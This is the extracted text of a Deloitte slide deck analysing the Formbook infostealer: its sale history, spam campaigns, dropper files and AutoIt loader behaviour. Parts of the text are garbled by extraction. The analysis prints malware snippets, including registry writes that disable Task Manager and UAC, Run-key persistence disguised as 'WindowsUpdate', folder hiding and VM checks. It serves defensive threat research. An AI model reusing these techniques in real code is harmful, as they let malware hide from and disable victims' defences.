
Deloitte.



Inside Formbook infostealer October 2018 – Gabriela Nicolao

Inside Formbook infostealer WHOAMI


- Information System Engineer and Teacher at UTN.
- Cryptography and Tele information Security Specialist at Facultad del Ejercito.
- 5 years working in Cyber Security at Deloitte.
- Among other things, I analyze malware.

Inside Formbook infostealer What is a Form-grabbing?

- Form-grabbing is a technique that helps to retrieve user information from a web data form before the information reaches a secure server.
 - Formgrabbers intercept HTTP(s) data and use inline hooking to redirect the function to one within the formgrabber and then transfer the execution flow back to the HTTP funcion to complete the request.
- Among the families that have used this technique we can find Zeus (2007), Andromeda (2011), Tinba (2012) and Spyeye (2009).
- For more information: https://www.virusbulletin.com/virusbulletin/2011/11/art-stealing-banking-information-form-grabbing-fire

Inside Formbook infostealer Formbook Background

- Formbook is an infostealer that was advertised for sale in public hacking forums since February 2016.
- Offered by a user with the handle 'ng-Coder'
- At first, it was offered for free. Soon after it was advertised for sale for \$250.




Inside Formbook infostealer Formbook Campaigns

- Formbook was used in a spam campaign in late 2017 targeting the aerospace, the defence contractor and the manufacturing sectors in South Korea and the USA.
- It was also observed in 2018, distributed via emails with doc, PDF or RTF files, using CVE-2017-8570, CVE-2017-0199 or CVE-2017-11882 exploits to finally download the Formbook malware.

Sources::

https://www.fireeye.com/blog/threat-research/2017/10/formbook-malware-distribution-campaigns.html https://blog.talosintelligence.com/2018/06/my-little-formbook.html

https://isc.sans.edu/forums/diary/Malspam+pushing+Formbook+info+stealer/23387/






targeting unpatched versions of Microsoft Office like CVE-

2017-8570 to infect computers with Formbook.

alware such as FormBook. It is able to and in web forms) and can take

Inside Formbook infostealer Formbook Detection Ratio

Formbook detection ratio



Date format: DD/MM/YYYY


Inside Formbook infostealer Formbook Capabilities

 Formbook offers a PHP panel, where the buyers can track their victim's information (bots), including screenshots, keylogged data, and stolen credentials.

• Each bot can receive commands from the C2 (Command-and-Control) server to download and execute files, undate and uninstall the bot, restart the system.


download and execute files, update and uninstall the bot, restart the system.

Etc.






Formbook Capabilities



Formbook Capabilities




Analyzed file:

· Hash:

6e4ec3712cf641a31f4e9e4af7d9d7 a84fd7da4cc2875c6aceb9a283ed03 30d7

Description:

- Winrar self-extracting file (SFX).
- Extracts the information in: %LocalAppData%\temp\cne.
- Deletes the SFX file.
- Focus on: axo.exe, pwn-axa and sni.mp3.



Formbook Analysis

The pwm-axa file looks like this...

```
崖 pwm-axa 🗵
     #-/*-*/ÄyíØŸP†Úc¾†,î~<™fCƆèïÏ,,³J'l
     #-/*-*/¶>®Y hãø~~ÓE¼ÇÌLÙ [¾‡Ëâ±ÌCØ-6UÄKŸ°Ó¢Ò©UÔ¾êàóŽ x¦óè6ä¹Õ‹Š¹Ý"õ
     #-/*-*/Ú^Ž \2%f «M>#¾å"åë2Eù-´IÊô´BâÀ,{Ò@ËñÞµ¶‡"ÒŒĐ¤`æV¹E'ùô|Õ´œÏݵ
     ;^âÚãêµèqŸyÆ"íeÖÈÔœëxÉ^ä}Ñú£Ñâ÷>ë¾QéàĐT£"Í£ÝÝ»ÜÅ~
     ;-uE,žé†Þ-ÞM¼Óëêål¶ô»Iæ-ãèfÈù,½
  8 #-/*-*/"‡ä¾Ü¬^b˪Ó¦ÚÎóÛ¢^
    ;ýL³g°ûÎx'»ÃzÂg
 10 ; >é'ûb@^á¶æ
 11 ; Í^•ßÒWÂá′õÀpŠ¥ÝÃ\
 12 #-/*-*/ïÉ"æ¾Z¹ó™é‡F'ý^V÷À®jÃ¾^>¥·ÁãbÍW´,½¯¼°ÑÏÉåŒ\ÉçúC-‰áßšØ
 13 ;¹Ã-°òIËÕèÒ
 14 ; É}ª^È|ÖĐŒO^ ÉÁÍ \'2eìĐÔfšØ,...~Ö^Í≪™u
 15 #-/*-*/ĐcÙYÕQ'Aϥ׉ƶÞ¯eì×øfA"-ah÷ÎêbÙóßþf ÛžÎâ™Eûmä•îÇÊœ¶šÛ÷}
 16 #-/*-*/ë´²Bö\u$fof½bNœ«-w±->Ø``×íÞ GÉ´Ãi½-`wí¾ŸEø,œê²é¥ÃúûF•q,,¢
 17 #-/*-*/êØ•Ãuæ£ëüAù[C'»C"Í«`™vŒÚ¦Ø,—ôdŽÞ>gôfê½É¾ÚšŠò©N;ò"‡ièsÏí±Åéc;ÜúŒÖícÌ©êÚ
 18 ;äy±ú™c
 19 ; †×À®Û¢¾ q÷IÝ~¢X
 20 #-/*-*/œÓïήΙž³μο±¼...³ ^ûÚõÔbμ´»ja¼-‡Ã «ÁÏ´šõÍ ^Ý-¤åàÊ®,,·]÷سUàú
 21 #-/*-*/...ÎÞWf1/4Í™Õ
 22 ;Õ^,q²úξõ³¬WàŒÏÕ¶ÕçæõÂø]ç¶x†þËÄ™¢
 23 ;"wöËÖ";ØÅ{< Ÿ©ãåÊÖ»aðOÍŠ~ÉžŠÀÌŠ
 24 ; Û©´ëâOÊÂõ¾šòß″íÈ^zÍØ»ñ
 25 ; 3 Ü'iÓv làÖŽHÞf²ŽŠÐÖŞãáÂ×ø¼Š"ç-ðÑèßG Éòõøèª
 26 ; "< °Î´¤²Ò³ñïÑÌåÍò"ŠPÔ`òÕubÜO°žVØ, íÀ ©ÚDßp‰Æ Ÿ½Z
```

Formbook Analysis

The sni.mp3 looks like this...



Formbook Analysis


 The sni.mp3 file includes interesting strings that were used during the execution.

```
[Setting]

sd_Keys=3134453439343435353432353043424237364138373838373642464243453845333742444531334133384244384543332393835

Keys=fju
Dir=cne
Key=WindowsUpdate
AuEx=pwm-axa
ExEc=axo.exe
StartUps=nug-BZeoal7C68j1BF884Xr52nF6mvI0538823d9uwkELR34Us
RP=fgy.hmf
sK=858
sN=sli.hxp
eof=hmf
inc=meg.cxe
```

- The axo.exe file is an Autolt script that is executed with the pwm-axa file as a parameter.
- The script decrypts Formbook and loads it in memory. In order to do that, it creates a file with a random name that contains Formbook's functionality and deletes it soon after loading it in memory. This file contains several functions with obfuscated names.



The created file looks like this...

```
Global Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602
Global Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801
Global Const $1295974546E6E9CA72B1205FD83C6F10 = 0
Global $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]
Global $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4,
$B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB
Global $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894,
$D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A,
$EF334541C41BF1292618BD324F33ECFF,$38FB60076F054E3721B05607F1809456
Global $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083
$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & "\sni.mp3"
$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, "Setting", "Dir", '')
$9355FBBA246C8217C04EE3075C218909 = @TempDir & "\" & $989BD8DF7434150DDDCC4E3AF84571E3
Sleep (100)
FileSetAttrib($9355FBBA246C8217C04EE3075C218909, "+H")
Sleep (100)
S0x325952AE1C47E8F062A74927A1DBE55B()
Func S0x325952AE1C47E8F062A74927A1DBE55B()
$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, "Setting", "msg", '')
If $39EE801D7E22D21808919DD1A991F950 <> '' Then
S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()
EndIf
$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, "Setting", " S0x20057179D673181B71D4593BFB2A0450", '')
If $4FE9C92D9445918D1759387A12138EA3 <> '' Then
```

The following features could be observed:

Hiding mechanism:

 The script changes the cne folder attributes to hide its content by executing command FileSetAttrib(\$cne_Folder_Path, "+H").

```
$FileAndPath_sni.mp3 = @ScriptDir & "\sni.mp3"
$cne_Folder = IniRead($FileAndPath_sni.mp3, "Setting", "Dir", '')
$cne_Folder_Path = @TempDir & "\" & $cne_Folder
Sleep(100)
FileSetAttrib($cne Folder Path, "+H") ; COMMENT: HIDES THE CNE FOLDER IN THE TMP FOLDER
```

Check default browser:

• The script will check the *HKCR\http\shell\open\command* registry key to know which internet browser the victim's machine uses by default.

Protection disabling and anti-analysis:

Command	Description
RegWrite("HKCU64\Software\Microsoft\Windows\ CurrentVersion\Policies\System", "DisableTaskMgr", "REG_DWORD", "1")	Disables Task Manager
RegDelete("HKLM64\Software\Microsoft\Windows NT\CurrentVersion\SPP\Clients")	Turns off the System Protection
RegWrite("HKLM64\SOFTWARE\Microsoft\Windo ws\CurrentVersion\Policies\System", "EnableLUA", "REG_DWORD", "0")	Disables UAC (User Account Controls)

Persistence mechanism:


 In order to remain persistent, it modifies the Run registry key with a new key named "WindowsUpdate" that instructs the execution of axo.exe along with pwm-axa.

If IsAdmin() Then

RegWrite("HKEY_LOCAL_MACHINE\SOFTWA RE\Microsoft\Windows\CurrentVersion\Run ", \$WindowsUpdate, "REG_SZ", \$cne_Folder_Path & "\" & \$axo.exe & " " & FileGetShortName(FileGetShortName(\$cne_Folder_Path & "\" & \$pwm-axa)))

Else

RegWrite("HKEY_CURRENT_USER\SOFTWAR E\Microsoft\Windows\CurrentVersion\Run", \$WindowsUpdate, "REG_SZ", \$cne_Folder_Path & "\" & \$axo.exe & " " & FileGetShortName(\$cne_Folder_Path & "\" & \$pwm-axa))



Protection disabling and anti-analysis:

- VMwaretray.exe
- Vbox.exe
- VMwareUser.exe
- VMwareService.exe
- VboxService.exe
- vpcmap.exe
- VBoxTray.exe
- If DriveSpaceFree ("d:\") <1 And ProcessExists ([VMWare or VBox]) then Exit

Deletion and termination:

 It will look for process svshost.exe and terminate itself in case it finds more than two svshost.exe processes running:

```
If UBound(ProcessList("svshost.exe")) > 2 Then Exit ;
ProcessSetPriority("svshost.exe", 5) ; COMMENT: 5=REAL
```

Inside Formbook infostealer Similar files

• The following SFX files were found after the analyzed file:

Hash	Date
17/7/2018	f2cee9dbdee406d64b9608e9042189b8db692b53710edce6a31cdc72318af255
11/9/2018	8e8c285a0b75999000152010bcf30f5e97562eddc768a5e085e2ab99a336f0d0
11/9/2018	e149a0d8fa52f7f4f74cf0e88811d0d95b318ea0e9597c6c9068bb96a9290ca6
11/9/2018	68b7f7446dc5e1134902226c39a792f39b01f66b86f1beabd4caa4560177073c
11/9/2018	fda3b25c2f7dab5edf0f98899f3b3be18138d725912872fc5cb9d4ff8876f147
12/9/2018	80867e23465a472482309a63b9201e37fd366e4e3151a8030fc61ed915316f48
13/9/2018	1549dd759e0651e04884229d1910cf3ffc075ee239a4d3ce45ad2d706d0501ee
14/9/2018	9e953b50293d323255e57a50d371ddb6b305249b75a85c75c28e50a36b489abd

Inside Formbook infostealer Conclusion

- Despite Formbook infostealer being around for a couple of years now, it was only noted after it
 was massively used in spam campaigns in late 2017. The fact that Formbook wasn't noticed
 before is probably because the developers didn't release the builder to the public, so it was easy
 for the developers to track its activities and turn it off in case they found that it was being used for
 purposes they did not intend or if it was gaining too much attention from the security community.
 Despite not being broadly used, Formbook represents a real threat, due to it being stealthier and
 more powerful than keyloggers.
- Similar to Agent Tesla Remote Access Trojan (RAT), the author initially offered a beta version of the product for free to receive feedback and make improvements.
- The "ng-coder" user indicates that FormBook should not be used for malicious purposes and after
 the spam campaigns were made public, he blocked Formbook's sales until further notice.
 According to its developer, "ng-Coder", Formbook should only be used to spy on family members
 or employees if they have the explicit right to do so. However, the claim itself is dubious given the
 remotely legitimate uses of such software.

Thank you

Deloitte

